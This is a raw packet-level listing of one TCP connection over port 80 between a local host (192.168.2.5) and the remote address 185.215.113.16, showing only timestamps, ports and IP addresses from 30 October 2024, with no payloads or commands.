Oct 30, 2024 00:20:19.609391928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609392881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.609424114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609457970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609463930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.609491110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609530926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.609637976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609694958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609739065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.609746933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609781981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609816074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609860897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.609868050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609900951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609930038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.609937906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.609972000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.609981060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610013962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610047102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610053062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610085011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610121012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610131025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610155106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610188007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610223055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610234022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610271931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610287905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610302925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610308886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610318899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610318899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610332966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610347986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610357046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610368967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610383987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610384941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610399008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610414028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610416889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610429049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610443115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610457897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610466003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610471964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610486984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610493898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610508919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610510111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610526085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610541105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610563993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610567093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610582113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610588074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610598087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610616922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610618114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610635996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610651016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610666037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610668898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610683918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610697031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610699892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610722065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610726118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610742092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610757113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610764027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610774994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610790014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610794067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610806942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610825062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610832930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610840082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610858917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610877991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610882998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610897064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610897064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610913038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610928059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610934019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610943079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610956907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.610958099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610974073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.610989094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611011028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611015081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611023903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611040115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611056089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611057043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611073017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611088991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611108065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611112118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611125946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611128092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611144066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611161947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611176014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611177921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611192942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611201048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611208916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611224890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611232042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611239910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611254930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611254930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611270905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611287117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611303091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611306906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611324072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611329079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611344099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611361027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611376047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611378908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611393929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611402035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611413956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611438036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611447096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611452103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611464977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611465931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611481905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611498117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611499071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611582041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611597061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611619949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611622095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611634970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611637115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611653090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611670017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611685991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611687899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611701965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611705065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611718893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611737967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611741066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611757994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611772060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611787081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611788988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611804962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611810923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611841917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611874104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611888885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611903906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611924887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611941099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611942053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611955881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611963034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.611970901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611985922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.611993074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612001896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612027884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612081051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612096071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612109900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612126112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612132072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612140894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612154007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612155914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612178087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612330914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612479925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612495899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612512112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612519026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612543106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612543106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612556934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612581015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612592936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612596035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612611055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612612009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612627983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612643957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612652063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612659931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612674952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612688065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612692118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612704992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612711906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612749100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612759113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612778902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612793922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612809896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612812996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612823963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612840891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612845898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612857103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612873077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612879038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612888098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612903118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.612903118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.612938881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613038063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613053083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613069057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613084078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613087893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613099098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613114119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613137960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613137960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613152027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613162041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613164902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613182068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613188982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613214970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613307953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613332033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613347054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613363028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613385916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613387108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613403082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613409042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613418102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613434076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613437891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613447905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613464117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613467932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613478899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613493919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613502026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613508940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613524914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613529921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613539934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613555908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613564968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613594055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613611937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613626957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613641977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613657951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613667011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613687992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613697052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613703966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613718987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613734961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613739967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613750935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613784075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613818884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613837957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613852978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613867998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613868952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613883972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613888979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613898993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613915920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613919973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613929033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613957882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.613965988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613981009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.613995075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614000082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614017963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614031076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614034891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614049911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614067078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614082098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614083052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614106894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614109039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614123106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614136934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614151955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614155054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614167929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614181995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614185095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614206076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614239931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614254951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614268064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614275932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614299059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614327908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614342928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614362001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614377022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614384890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614391088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614407063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614411116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614434958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614504099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614518881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614533901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614550114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614559889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614564896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614579916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614583015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614594936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614608049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614620924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614630938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614644051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614644051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614665985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614676952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614681005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614696026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614711046 CET	80	49712	185.215.113.16	192.168.2.5
